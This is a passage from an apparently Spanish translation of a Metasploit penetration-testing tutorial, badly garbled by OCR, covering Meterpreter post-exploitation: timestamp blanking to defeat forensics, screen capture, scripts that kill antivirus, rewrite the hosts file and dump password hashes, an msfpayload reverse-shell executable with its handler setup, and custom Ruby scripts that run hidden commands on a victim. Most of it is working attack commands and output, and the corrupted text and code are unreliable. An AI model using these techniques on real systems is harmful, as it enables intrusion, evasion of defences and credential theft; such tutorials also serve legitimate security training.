100555/r-xr-xr-x 34468  fil Wed Dec 31 19:00 :00 -0500 1969 NTDETECT.COM
40555/r-xr-xr-x 0 dir Wed Dec 31 19:00 :00 -0500 1969 Program Files
40777 /rwxrwxrwx 0O dir Wed Dec 31 19:00 :00 -0500 1969 RECYCLER
40777 /rwxrwxrwx 0O dir Wed Dec 31 19:00 :00 -0500 1969 System Volume Information
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00 :00 -0500 1969 WINNT
100555/r-xr-xr-x 148992  fil Wed Dec 31 19:00 :00 -0500 1969 arcldr.exe
100555/r-xr-xr-x 162816 fil Wed Dec 31 19:00 :00 -0500 1969 arcsetup.exe
100666/rw-rw-rw- 192 fil Wed Dec 31 19:00 :00 -0500 1969 boot.ini
100444/r--r--r-- 214416 fil Wed Dec 31 19:00 :00 -0500 1969 ntldr
100666/rw-rw-rw- 402653184 fil Wed Dec 31 19:00 :00 -0500 1969 pagefile.sys




meterpreter > timestomp C:\ -r
[*] Blanking directory MACE attributes on C:\
meterpreter > Is

[-] Error running command Is: bignum too big to con vert into “long’

Ipentest/exploits/framework3/lib/rex/post/file_stat .rb:66:in "at'/pentest/exploits/framework3/lib/rex

Ipost/file_stat.rb:66:in

“mtime'/pentest/exploits/framework3/lib/rex/post/me terpreter/ui/console/command_dispatcher/stdapi/fs.r b:237:i
n /lib/rex/uiltext/dispatcher_shell.rb:191:in

“run_single'/pentest/exploits/framework3/lib/rex/ui /text/shell.rb:127:in “run'./msfconsole:82

Asi, Luego que.. ¢ Windows no lo ve?

Archivo:Timestomp 02.pn{(corregir erro))

Increible. Windows no tiene idea de lo que estam@s (vamos que ni se empana), y muestra las fémtaspor todos los lados.

Aunque; no te emociones ni confies mucho. Porquésadizar esta accidén dejas en evidencia que algoha ocurrido en el
sistema. Ademas, existen muchas fuentes distintagnformacion sobre tiempos en un sistema Wind&ivan investigador
forense, se encontré con un sistema que ha siddicaah de esta manera, correra hacia estas fudategormacion
alternativas. Sin embargo, el costo de la realirade la investigacion acaba de incrementarse demradilemente.

9.9 Captura de pantalla

Captura de pantalla

Con la tltima actualizacion de Metasploit Framew@|8) se incremento un trabajo bastante exceploitasale el equipo de
desarrollo de Metasploit. Hemos aprendido muchcagitulos anteriores sobre el impresionante poeéfeterpreter. Pero aun
gueda mas... otra caracteristica adicional espacidad de capturar el escritorio de las victimgsardarlos en el sistema.
Echemos un vistazo a como funciona esto. Se suponga tiene una shell con meterpreter, ahora vaneghar un vistazo a lo
gue esta en la pantalla de las victimas.

[*] Started bind handler
[*] Trying target Windows XP SP2 - English...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:341 17 ->192.168.1.104:4444)
meterpreter > ps
Process list
PID Name Path
180 notepad.exe C:\WINDOWS\system32\ notepad.exe
248 snmp.exe C:\WINDOWS\System32\ snmp.exe
260 Explorer.EXE C:\WINDOWS\Explorer. EXE
284 surgemail.exe c:\surgemail\surgema il.exe
332 VMwareService.exe C:\Program Files\VMw are\VMware Tools\VMwareService.exe
612 VMwareTray.exe C:\Program Files\VMw are\VMware Tools\VMwareTray.exe
620 VMwareUser.exe C:\Program Files\VMw are\VMware Tools\VMwareUser.exe
648 ctfmon.exe C:\WINDOWS\system32\ ctfmon.exe
664 GrooveMonitor.exe C:\Program Files\Mic rosoft Office\Office12\GrooveMonitor.exe
728 WZCSLDR2.exe C:\Program Files\ANI \ANIWZCS2 Service\WZCSLDR2.exe
736 jusched.exe C:\Program Files\Jav a\jre6\bin\jusched.exe
756 msmsgs.exe C:\Program Files\Mes senger\msmsgs.exe
816 smss.exe \SystemRoot\System32 \smss.exe
832 alg.exe C:\WINDOWS\System32\ alg.exe
904 csrss.exe \??2\C:\WINDOWS\syste m32\csrss.exe
928 winlogon.exe \??\C:\WINDOWS\syste m32\winlogon.exe
972 services.exe C:\WINDOWS\system32\ services.exe
984 Isass.exe C:\WINDOWS\system32\ Isass.exe
1152 vmacthlp.exe C:\Program Files\VMw are\VMware Tools\vmacthlp.exe
1164 svchost.exe C:\WINDOWS\system32\ svchost.exe
1276 nwauth.exe c:\surgemail\nwauth. exe
1296 svchost.exe C:\WINDOWS\system32\ svchost.exe
1404 svchost.exe C:\WINDOWS\System32\ svchost.exe
1500 svchost.exe C:\WINDOWS\system32\ svchost.exe
1652 svchost.exe C:\WINDOWS\system32\ svchost.exe
1796 spoolsv.exe C:\WINDOWS\system32\ spoolsv.exe
1912 3proxy.exe C:\3proxy\bin\3proxy .exe
2024 jgs.exe C:\Program Files\Jav a\jre6\bin\jgs.exe
2188 swatch.exe c:\surgemail\swatch. exe
2444 iexplore.exe C:\Program Files\Int ernet Explorer\iexplore.exe
3004 cmd.exe C:\WINDOWS\system32\ cmd.exe
meterpreter > migrate 260
[*] Migrating to 260...




[*] Migration completed successfully.
meterpreter > use espia

Loading extension espia...success.
meterpreter > screenshot /tmp/moo.bmp
[*] Image saved to /tmp/moo.bmp
Opening browser to image...

Podemos ver su eficacia migrando al explorer, pesegurese de que el proceso que esta en su mtetigree acceso a
computadoras de escritorio, activadas, caso camato no funcionara. Echemos una ojeada en etasz de las victimas.

10 Scripting en Meterpreter

ESCRIBIENDO TU PROPIO SCANNER

Una de las caracteristicas mas potentes de Meterp®la versatilidad y la facilidad de afiadiacégristicas adicionales. Esto se
logra a través del entorno de programacion MetegprEsta seccion cubre la automatizacion de t@easa sesion Meterpreter
a través de la utilizacién de este entorno de progcion, ¢como usted puede tomar ventaja de séasielgccomandos
Meterpreter, y como escribir sus propios scriptapasolver sus necesidades Unicas?.

Antes de comenzar con esto, vale la pena mendiamanuchas otras cosas que abarca. Al igual queedotiarco Metasploit, los
scripts que se escriben en formato ejecutable .(ublyen Ruby y ubicado en el directorio principal detddploit en scripts /
meterpreter. Si usted no esté familiarizado conyRub gran recurso para el aprendizaje de rubliléz@ en linea "de
programacion Rubyhttp://www.rubycentral.com/book/

Nota:Estas paginas las coloco yo como un adicional lpargejor comprension del entorno del Ruby ya gegrfosamente a mi
no me sirvio de mucho la fuente que cita en el denio original., espero les sirva:

Dar un vistazo rapido a ruby y entenderlo un pocomtan solo 20 minutos minitutorial.

http://www.ruby-lang.org/es/documentation/quickstart/

Documentacion general organizada por temas de rubyptalmente en espafiol

http://www.ruby-lang.org/es/documentation/

Comparando ruby con PHP "para programadores"

http://www.ruby-lang.org/es/documentation/ruby-from-other-languages/to-ruby-from-php/

Antes de comenzar, por favor, tmese unos minwoes fevisar el actual repositorio de scripts eneifeeter
http://dev.metasploit.com/redmine/projects/frameaul@pository/show/scripts/meterpret&iste es un gran recurso a utilizar para

ver como otros se acercan a los problemas y, @osésite orientarnos e inclusipedir prestado el cédigo que pueden ser
de utilidad para usted.

10.1Secuencias de comandos existentes Meterpreter

Secuencias de comandos existentes Meterpreter

Metasploit viene con variadas secuencias de consaitiles que pueden ayudar en el Metasploit Framew&stos scripts son
normalmente realizadas por terceros y, finalmeggbada en el repositorio de subversion. Vamesarirer algunos de ellos y
caminando a través de ellos para ver como los puiiliar en su propia prueba de penetracion.

Los scripts se mencionan a continuacion estanmdekis a ser utilizados con una sesion Meterpretgrues del
comprometimiento con éxito de un objetivo. Una gee usted ha ganado una sesion con el objetivodier ptilizar estas
secuencias de comandos que mejor se adapte acesidaeles.



El script ‘checkvm’, como su nombre indica muestissted esta trabajando con una Maquina virtusth Bformacion puede ser
muy util.

meterpreter > run checkvm

[*] Checking if SSHACKTHISBOX-0 is a Virtual Machi ne ........
[*] This is a VMware Workstation/Fusion Virtual Ma chine

Los controles del script 'getcountermeasure' muetra la configuracién de seguridad en el sistema que se puede deshabilitar a las
victimas y otras medidas de seguridad tales como A / V, Firewall, y mucho mas:

meterpreter > run getcountermeasure

[*] Running Getcountermeasure on the target...

[*] Checking for contermeasures...

[*] Getting Windows Built in Firewall configuratio n...
[*]

[*] Domain profile configuration:

[*]
[*] Operational mode = Disabl e
[*] Exception mode = Enable

[*]

[*] Standard profile configuration:

[']

[*] Operational mode = Disabl e

[*] Exception mode = Enable

[*]

[*] Local Area Connection 6 firewall configura tion;
[*]

[*] Operational mode = Disabl e

[*]
[*] Checking DEP Support Policy...

El script 'getgui' se utiliza para habilitar RDPumsistema de destino si estd deshabilitado. &daipara conexiones remotas,
escritorio remoto)

meterpreter > run getgui

Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u -p

OPTIONS:

-e Enable RDP only.

-h Help menu.

-p The Password of the user to add.
-u The Username of the user to add.

meterpreter > run getgui -e

[*] Windows Remote Desktop Configuration Meterpret er Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com

[*] Enabling Remote Desktop

[*] RDP is already enabled

[*] Setting Terminal Services service startup mode

[*] Terminal Services service is already set to au to

[*] Opening port in local firewall if necessary

El script 'gettelnet’ se utiliza para habilitanttla la victima si esta deshabilitado.



meterpreter > run gettelnet

Windows Telnet Server Enabler Meterpreter Script
Usage: gettelnet -u -p

OPTIONS:

-e Enable Telnet Server only.

-h Help menu.

-p The Password of the user to add.

-u The Username of the user to add.

meterpreter > run gettelnet -e

[*] Windows Telnet Server Enabler Meterpreter Scri pt
[*] Setting Telnet Server Services service startup mode
[*] The Telnet Server Services service is not set to auto, changing it to auto ...

[*] Opening port in local firewall if necessary

El script 'KillAV' se puede utilizar para deshataililos programas antivirus mas ejecuta como wicseren
un objetivo.

meterpreter > run killav

[*] Killing Antivirus services on the target...
[*] Killing off cmd.exe...

El script 'get_local_subnets'se utiliza para obtémenascara de subred local de una victima. Hstde ser
muy util la informacion a tener para girar.

meterpreter > run get_local_subnets

Local subnet: 10.211.55.0/255.255.255.0

La secuencia de comandos 'hostsedit' Meterpreter es para agregar las entradas a los anfitriones de archivos de Windows. Puesto
gue Windows comprobara el archivo de hosts primero en lugar del servidor DNS configurado, también contribuira a desviar el
trafico a una entrada o entradas falsas. Cualquiera de una sola entrada se puede proporcionar o una serie de entradas se puede
proporcionar un archivo que contiene una entrada por linea.

meterpreter > run hostsedit

OPTIONS:

-e Host entry in the format of IP,Hostname.

-h Help Options.

-I Text file with list of entries in the format of IP,Hostname. One per line.

Example:

run hostsedit -e 127.0.0.1,google.com
run hostsedit -| /tmp/fakednsentries.txt

meterpreter > run hostsedit -e 10.211.55.162,www.m icrosoft.com

[*] Making Backup of the hosts file.

[*] Backup loacated in C:\WINDOWS\System32\drivers \etc\hosts62497.back
[*] Adding Record for Host www.microsoft.com with IP 10.211.55.162

[*] Clearing the DNS Cache




La secuencia de comandos 'remotewinenum' van aeraufa informacion del sistema a través de wnitima. Tome nota que
estos sucesos son almacenados, quizas nos togee lllas lluego despues de usar este script.

meterpreter > run remotewinenum

Remote Windows Enumeration Meterpreter Script

This script will enumerate windows hosts in the ta rget environment
given a username and password or using the credent ial under witch
Meterpreter is running using WMI wmic windows nati ve tool.

Usage:

OPTIONS:

-h Help menu.
-p Password of user on target system
-t The target address

-u User on the target system (If not provided it will use credential of process)
meterpreter > run remotewinenum -u administrator - p ihazpassword -t 10.211.55.128
[*] Saving report to /root/.msf3/logs/remotewinenu m/10.211.55.128 20090711.0142

[*] Running WMIC Commands ....

[*] running command wimic environment list

[*] running command wimic share list

[*] running command wimic nicconfig list

[*] running command wimic computersystem list
[*] running command wimic useraccount list

[*] running command wimic group list

[*] running command wimic sysaccount list

[*] running command wimic volume list brief

[*] running command wimic logicaldisk get desc ription,filesystem,name,size

[*] running command wimic netlogin get name,la stlogon,badpasswordcount

[*]  running command wimic netclient list brief

[*] running command wimic netuse get name,user name,connectiontype,localname
[*] running command wimic share get name,path

[*] running command wimic nteventlog get path, filename,writeable

[*] running command wimic service list brief

[*]  running command wimic process list brief

[*] running command wimic startup list full

[*] running command wimic rdtoggle list

[*] running command wimic product get name,ver sion
[*] running command wimic gfe list

El script ‘winenum' hace de una herramienta muglideta enumeracion de las ventanas. Volcado de
ficheros, hashes y mucho mas.

meterpreter > run winenum

[*] Running Windows Local Enumerion Meterpreter Sc ript

[*] New session on 10.211.55.128:4444...

[*] Saving report to /root/.msf3/logs/winenum/10.2 11.55.128_20090711.0514-99271/10.211.55.128_2009071 1.0514-99271.txt
[*] Checking if SSHACKTHISBOX-0 is a Virtual Machi ne ........

[*1 Thisis a VMware Workstation/Fusion Virtua | Machine

[*] Running Command List ...

[*]  running command cmd.exe /c set

[*]  running command arp -a

[*]  running command ipconfig /all

[*]  running command ipconfig /displaydns

[*]  running command route print

[*]  running command net view

[*]  running command netstat -nao

[*]  running command netstat -vb

[*]  running command netstat -ns

[*]  running command net accounts

[*]  running command net accounts /domain

[*]  running command net session

[*]  running command net share

[*1  running command net group

[*1  running command net user

[*1  running command net localgroup

[*1  running command net localgroup administrat ors
[*1  running command net group administrators
[*1  running command net view /domain

[*] running command netsh firewall show config




[*1  running command tasklist /svc

[*1  running command tasklist /m

[*1  running command gpresult /'SCOPE COMPUTER / z
[*1  running command gpresult /SCOPE USER /Z

[*] Running WMIC Commands ...

[*]  running command wmic computersystem list b rief
[*]  running command wmic useraccount list

[*]  running command wmic group list

[*]  running command wmic service list brief

[*]  running command wmic volume list brief

[*]  running command wmic logicaldisk get descr iption,filesystem,name,size

[*]  running command wmic netlogin get name,las tlogon,badpasswordcount

[*]  running command wmic netclient list brief

[*]  running command wmic netuse get name,usern ame,connectiontype,localname
[*]  running command wmic share get name,path

[*]  running command wmic nteventlog get path,f ilename,writeable

[*1  running command wmic process list brief

[*1  running command wmic startup list full

[*1  running command wmic rdtoggle list

[*1  running command wmic product get name,vers ion
[*1  running command wmic gfe

[*¥] Extracting software list from registry

[*] Finished Extraction of software list from regi stry
[*] Dumping password hashes...

[*] Hashes Dumped

[*] Getting Tokens...

[*] All tokens have been processed

[*] Done!

El script 'scraper' puede mostrar informacion dgéma mas profundamente, incluyendo todo el Regikbs resultados de este
comando se guardan en /root/.msf3/logs/scrapef/1(63.128:4444...

meterpreter > run scraper

[*] New session on 10.211.55.128:4444...

[*] Gathering basic system information...

[*] Dumping password hashes...

[*] Obtaining the entire registry...

[*] Exporting HKCU

[*] Downloading HKCU (C:\WINDOWS\TEMP\LQTEhIqo.reg )
[*] Cleaning HKCU

[*] Exporting HKLM

[*] Downloading HKLM (C:\WINDOWS\TEMP\GHMUdVWt.reg )

De los ejemplos de arriba podemos ver que hay varios script "secuencias de comandos" Meterpreter que nosotro podemos
utilizar para enumerar mucha informacion, desactivar el nosotros el anti-virus, habilitar RDP, y mucho mucho mas ..

10.2 La configuracion del entorno

Escribiendo Script Meterpreter

Hay algunas cosas que necesitas tener en mente al crear un script meterpreter nuevo.

* No todas las versiones de Windows son los mism 0.

* Algunas versiones de Windows tienen las contra medidas de seguridad para algunos de los comandos
* No todas las herramientas de linea de comandos se encuentran en todas las versiones de Windows.

* Algunas de las herramientas de linea de comand o varian dependiendo de la version de Windows

En pocas palabras, las mismas limitaciones que tiaando se trabaja con métodos de explotaciondzstaViISF puede ser de
gran ayuda, pero no puede cambiar los fundameetesea objetivo. Teniendo esto en cuenta puedeashormontdn de
frustracion en el camino. Asi que sigue la versiérsu blanco y el Service Pack de Windows en mgrenstruir al mismo.

Para nuestros propésitos, vamos a crear una indigmg@ binaria que se ejecuta en el sistema dindegie va a crear un shell
inversa Meterpreter de vuelta a nosotros. Estoadiscualquier problema con un exploit a medidatrpleajamos a través de
nuestro desarrollo de guiones.



root@bt4:~# cd /pentest/exploits/framework3/

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.184 X > Meterpreter.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/meterpreter/reverse_tcp

Length: 310

Options: LHOST=192.168.1.184

Maravilloso. Ahora, movemos el ejecutable para maesaquina Windows que sera nuestro objetivo elara
guién que vamos a escribir. S6lo tenemos que oresstro oyente. Para ello, vamos a crear un pequefo
script para poner en marcha mdultiples controla@oa posotros.

root@bt4:/pentest/exploits/framework3# touch meterp reter.rc
root@bt4:/pentest/exploits/framework3# echo use exp loit/multi/handler >>

meterpreter.rc

root@bt4:/pentest/exploits/framework3# echo set PAY LOAD
windows/meterpreter/reverse_tcp >> meterpreter.rc

root@bt4:/pentest/exploits/framework3# echo set LHO ST 192.168.1.184 >> meterpreter.rc
root@bt4:/pentest/exploits/framework3# echo set Exi tOnSession false >> meterpreter.rc
root@bt4:/pentest/exploits/framework3# echo exploit -j -z >> meterpreter.rc
root@bt4:/pentest/exploits/framework3# cat meterpre ter.rc

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.184

set ExitOnSession false

exploit -j -z

Aqui estamos utilizando ekploit multi handlepara recibir nuestrpayload se especifica que el payload es un PAYLOAD
reverse_tcp Meterpreter, se establece EL PAYLOAIG3, aseguramos de que el controlador de SESIONESIga una vez que
reciba un periodo de sesiones ya que podria neceslver a establecer si se causa un error o pagrdgue se de, de acuerdo a
las pruebas con versiones diferentes de Windovwdedastemas objetivos diferentes.

Mientras trabajaba en los script, vamos a guamasdripts de prueba a / pentest/exploits/framesveckipts/meterpreter para
gue pueda ser ejecutado.

Ahora, lo Gnico que queda es poner en marcha cestims msfconsole nuestra secuencia de comandesutsos.

root@bt4:/pentest/exploits/framework3# ./msfconsole -r meterpreter.rc

=[ metasploit v3.3-rcl [core:3.3 api:1.0]
+ -- --=[ 384 exploits - 231 payloads

+ -- --=[ 20 encoders - 7 nops

=[ 161 aux

resource> use exploit/multi/handler

resource> set PAYLOAD windows/meterpreter/reverse_t cp
PAYLOAD => windows/meterpreter/reverse_tcp
resource> set LHOST 192.168.1.184

LHOST =>192.168.1.184

resource> set ExitOnSession false
ExitOnSession => false

resource> exploit -j -z

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...>




Como puede verse arriba, Metasploit esta a la Bacde una conexion. Ahora podemos ejecutar nuegcatable en nuestro
anfitrion de Windows y vamos a recibir una sesidma vez que la sesién se establece, se utilizaneghido de sesiones con el '-i'
interruptor y el nimero del periodo de sesionestéeactuar con él:

[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:444 4 ->192.168.1.104:1043)

msf exploit(handler) > sessions -i 1
[*¥] Starting interaction with 1...

meterpreter >

10.3 Scripts Personalizados

Scripts Personalizados

Ahora que tenemos una idea de como utilizar irl paobar llamadas a la API, echemos un vistazajaddos objetos sean
devueltos y las construcciones basicas de prudim@aAsin guidén primero estaria completa sin lanm@otHola Mundo”, por lo
gue le permite crear un script llamado "hellowalddly guardarlo en / pentest/exploits/frameworkB{gs/meterpreter.

root@bt4:~# echo “print_status(“Hello World”)" > /p entest/exploits/framework3/scripts/meterpreter/hell oworld.rb

Ahora ejecutar el script por la consola medianteoehando run

meterpreter > run helloworld
[*] Hello World
meterpreter >

Ahora, vamos a construir sobre esta base. Vamos a afiadir un par de llamadas a escritura del API. Afiadir estas lineas al script.

print_error(“this is an error!”)
print_line(“this is a line”)

Al igual que el concepto de estandar, salida eastanérror estandar, estas diferentes lineas tiesstror, todas estas lineas se
usan con el fin de dar informacién al usuario geewda el script.

Ahora, cuando ejecutamos nuestro archivo tenemos:

meterpreter > run helloworld
[*] Hello World

[-] this is an error!

this is a line

meterpreter >

Finalizando helloworld.rb

print_status("Hello World")
print_error("this is an error!")
print_line("This is a line")




iMaravilloso! Vamos a ir un poco mas alld y crear una funcién para imprimir informacién de caracter general y agregar control
de errores para que se muestren en otra opcion. Esta nueva funcion tendra la siguiente arquitectura:

def geninfo(session)
begin

El uso de funciones nos permite hacer nuestro oddigdular y mas re-utilizable. Este control de ®$0
nos ayudara en la solucién de problemas de nuestripgs, asi que al usar algunas de las llamatiag @l
mostardas anteriormente, podriamos construir umgidn que tiene este aspecto:

def getinfo(session)
begin
sysnfo = session.sys.config.sysinfo
runpriv = session.sys.config.getuid
print_status("Getting system information ...

print_status("tThe target machine OS is #{sy snfo['OS"}")
print_status("tThe computer name is #{'Compu ter} ™)
print_status("tScript running as #{runpriv}" )
rescue ::Exception => e
print_error("The following error was encount ered #{e}")
end
end

Vamos a descomponer lo que estamos haciendo agdéfide una funcién llamada getinfo que tiene un
parametro de que estamos colocando en una valiglhledenominada 'session'. Esta variable tiengann

de métodos que son llamados para extraer informaciés usuarios del sistema y después de lo amabs
a imprimir un par de lineas de estado que inforlagmesultados de los métodos. En algunos casos, la
informacion que esta imprimiendo sale de un hashy@e tenemos que asegurese de llamar la variable
correctamente. También tenemos un control de erami@cado alli para que nos devuelva un mensaje de
error si se encuentra.

Ahora que tenemos esta funcién, sélo tenemos goetla y darle la sesion de cliente MeterpreterlaNo
explicaremos, simplemente coloque el siguienteotakfinal de nuestro script:

getinfo(client)

Ahora ejecutamos nuestro script y podemos vetlidasdel mismo:

meterpreter > run helloworld2

[*] Getting system information ...

[*] The target machine OS is Windows XP (Build 2600, Service Pack 3).
[*] The computer name is Computer

[*]  Script running as WINXPVMO1labuser




Finalizando helloworld2.rb

def getinfo(session)
begin
sysnfo = session.sys.config.sysinfo
runpriv = session.sys.config.getuid
print_status("Getting system information ...

print_status("tThe target machine OS is #{sy snfo['OS'}")
print _status("tThe computer name is #{'Comp uter't ")
print_status("tScript running as #{runpriv}" )
rescue ::Exception => e
print_error("The following error was encount ered #{e}")
end
end

getinfo(client)

Como puede ver, estos pasos muy sencillos conpartardarnos las bases para la creacion de scripts
avanzados Meterpreter. Vamos a ampliar esta seaugecomandos para recopilar mas informacion sobre
nuestro objetivo. Vamos a crear otra funcién pamgjécucion de comandos y la impresién de su rsula

def list_exec(session,cmdlst)
print_status("Running Command List ...")
r="
session.response_timeout=120
cmdist.each do |cmd]|
begin
print_status "trunning command #{cmd}"
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true,
‘Channelized' => true})
while(d = r.channel.read)

print_status("t#{d}")
end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error Running Command #{cmd} . #{e.class} #{e}")
end
end
end

Una vez mas, vamos a interpretar lo que estamasrtkcaqui. Definimos una funcion que toma dos
parametros, la segunda de las cuales sera una niatrtiempo de espera también se establece pariaqu
funcién no se cuelga. A continuacion, crear unéfaeh' loop (bucle) que se ejecuta en la matrizguesa
a la funcién que tendra cada elemento de la matjecutarlo en el sistema a través de ‘cmd.exe/c’
imprime por pantalla la situacién que se devuelvéacejecucion de comandos. Por ultimo, un cordala
de errores se establece para la captura de cuapgaldema que pueda surgir durante la ejecucida de
funcion.

Ahora nos fijamos una serie de comandos para e@urenost de destino:

commands = [ “set”,
“ipconfig /all”,
“arp —a"]

y luego la llamamos con el comando

list_exec(client,commands)




Ya con todo eso en su lugar, cuando ejecutamotegeenos:

meterpreter > run helloworld3

[*] Running Command List ...

[*]  running command set

[¥1] ALLUSERSPROFILE=C:\Documents and Settings\
APPDATA=C:\Documents and Settings\POWN3D\Applicati
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=TARGET
ComSpec=C:\WINNT\system32\cmd.exe

HOMEDRIVE=C:

HOMEPATH=

LOGONSERVER=TARGET
NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:\WINNT\system32\os2dll;
Path=C:\WINNT\system32;C\WINNT;C:\WINNT\System32\
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WS
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 7 Stepping
PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0706
ProgramFiles=C:\Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:\WINNT
TEMP=C:\DOCUME~1\POWN3D\LOCALS~1\Temp
TMP=C:\DOCUME~1\POWN3D\LOCALS~1\Temp
USERDOMAIN=TARGET

USERNAME=POWN3D

USERPROFILE=C:\Documents and Settings\POWN3D
windir=C:\WINNT

[*1  running command ipconfig /all
[]
Windows 2000 IP Configuration

HostName ............:target

Primary DNS Suffix .......:

Node Type............: Hybrd

IP Routing Enabled. . ......:No

WINS Proxy Enabled. . ......:No

DNS Suffix Search List. . . . .. : localdomain

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain

Description...........:VMware Acceler
Physical Address. . .......:00-0C-29-85-81
DHCP Enabled. ..........:Yes
Autoconfiguration Enabled . . . .: Yes

IP Address. ...........:172.16.104.145
Subnet Mask . ..........:255.255.255.0
Default Gateway . ........:172.16.104.2
DHCP Server...........:172.16.104.254
DNS Servers...........:172.16.104.2
Primary WINS Server . ......:172.16.104.2
Lease Obtained. . ........: Tuesday, Augus
Lease Expires . . ........: Tuesday, Augus

[¥] running command arp -a

[*]

Interface: 172.16.104.145 on Interface 0x1000003
Internet Address  Physical Address  Type
172.16.104.2 00-50-56-eb-db-06  dynami
172.16.104.150 00-0c-29-a7-f1-c5 dynami

meterpreter >

All Users
on Data

Whbem
F;.WSH

6, Genuinelntel

ated AMD PCNet Adapter
-55

t 25, 2009 10:53:48 PM
t 25, 2009 11:23:48 PM

Finalizado helloworld3.rb




def list_exec(session,cmdlst)
print_status("Running Command List ...")
r="
session.response_timeout=120
cmdist.each do |cmd]|
begin
print_status "running command #{cmd}"
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true,
‘Channelized' => true})
while(d = r.channel.read)

print_status("t#{d}")
end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error Running Command #{cmd} : #{e.class} #{e}")
end
end
end

commands = [ "set",
"ipconfig /all",
Ilarp —a"]

list_exec(client,commands)

Como puede ver, crear scripts personalizados Metempno es dificil si se toma un paso a la vezahdose en otros. Sélo
recuerdara como hacerlo segun la frecuencia conegliga los test y realiza llamadas traseras ARds

10.4 Llamadas API utiles

Usando completamente las llamadas API de sistem

Vamos a cubrir algunas llamadas a la APl comun lparacriprt de la Meterpreter y escribir un script
utilizando algunas de estas llamadas a las AP& as llamadas a la APl y ejemplos, ver el cédeyo d
comandos y la documentacion Dispacher REX que seiom® anteriormente.

Para ello, es mas facil para nosotros utilizan&@rprete irb que puede ser utilizado para ejediatawadas a
la API directamente y ver lo que es devuelto pdlalaada. Nos metemos en el IRB ejecutando el "irb
‘comando desde el shell Meterpreter.

meterpreter > irb
[*¥] Starting IRB shell
[*] The ‘client' variable holds the meterpreter cli ent

>>

Vamos a empezar con la recoleccion de informaabnesel objetivo. Vamos a obtener el nombre de la
maquina del host de destino. La llamada a la AR pato es "client.sys.config.sysinfo '

>> client.sys.config.sysinfo
=>{"0S"=>"Windows XP (Build 2600, Service Pack 3). " "Computer"=>"WINXPVMO01"}
>>




Como podemos ver en irb, una serie de valoresiiugegueltos. Si queremos saber el tipo de valaresadtos, se puede utilizar
el objeto CLASS para ver lo que se devuelve:

>> client.sys.config.sysinfo.class
=> Hash
>>

Podemos ver que tenemos un hash, por lo que podiemmzs a los elementos de este hash a través claval Digamos que
gueremos ver Unicamente la version del sistemaatiper

>> client.sys.config.sysinfo['OS']
=> "Windows XP (Build 2600, Service Pack 3)."
>>

Ahora vamos a obtener las credenciales en lasaguerda Gtil se esté ejecutando. Para ello, usemdgnt.sys.config.getuid
“llamada a la API:

>> client.sys.config.getuid
=>"WINXPVMO1\labuser"

>>

Para obtener el ID del proceso en virtud del cuaklion se esta ejecutando, se utiliza el chenpcess.getpid "llamada a la
gue se puede utilizar para determinar qué procesda sksion se esta ejecutando internamente:

>> client.sys.process.getpid
=> 684

Podemos utilizar llamadas a la APl en "client.sys.net" para recoger informacién sobre la configuracion de red y el ambiente en el
host de destino. Para obtener una lista de las interfaces y su configuracion se utiliza la Ilamada a la API
"client.net.config.interfaces "

>> client.net.config.interfaces

=> [#, #]

>> client.net.config.interfaces.class
=> Array

Como se puede ver que devuelve un array de oljetson de tipo Rex:: Post:: Meterpreter:: Extaresa Stdapi:: Net::
Interfaz que representa cada una de las interfRogemos iterar a través de este conjunto de abjatbtener lo que se llama
una salida bastante de cada una de las interfacesta manera:

>> interfaces = client.net.config.interfaces
=> [#, #]

>> interfaces.each do |[i|

?> puts i.pretty

>> end

MS TCP Loopback interface

Hardware MAC: 00:00:00:00:00:00

IP Address :127.0.0.1

Netmask :255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Sch eduler Miniport
Hardware MAC: 00:0c:29:dc:aa:e4

IP Address :192.168.1.104

Netmask :255.255.255.0




10.5 Funciones Utiles

Usando completamente las Funciones

Echemos un vistazo a algunas otras funciones qurégposer Utiles en la construccion de una secaeleci

comandos Meterpreter. Siéntase libre de utilizaniismos seguln sea necesario.

Funcién para la ejecucion de una lista de comandosle un solo comando y devuelve el resultado:

#
ik

def list_exec(session,cmdlst)

if cmdist.kind_of? String

cmdlst = cmdlst.to_a
end
print_status("Running Command List ...")
r="
session.response_timeout=120
cmdist.each do |cmd]|

begin

print_status "trunning command #{cmd}"

r = session.sys.process.execute(cmd, ni I, {Hidden' => true, 'Channelized’ => true})

while(d = r.channel.read)

print_status("t#{d}")
end
r.channel.close
r.close
rescue ::Exception => e

print_error("Error Running Command #{cm d}: #{e.class} #{e}")

end
end
end

Funcion de Control de la UAC:

H
H

def checkuac(session)
uac = false
begin
winversion = session.sys.config.sysinfo
if winversion['OS']=~ /Windows Vista/ or w
print_status("Checking if UAC is enaled
key = 'HKLMSOFTWAREMicrosoftwWindowsCurr
root_key, base_key = session.sys.regist
value = "EnableLUA"
open_key = session.sys.registry.open_ke
v = open_key.query_value(value)

if v.data ==
uac = true
else
uac = false
end
open_key.close_key(key)
end

rescue ::Exception => e
print_status("Error Checking UAC: #{e.class
end
return uac
end

inversion['OS']=~ /Windows 7/

e“ritVersionPoliciesSystem‘
ry.splitkey(key)

y(root_key, base key, KEY_READ)

} #{e}")

Funcion para subir archivos y ejecutable:




H
H

def upload(session,file,trgloc = nil)
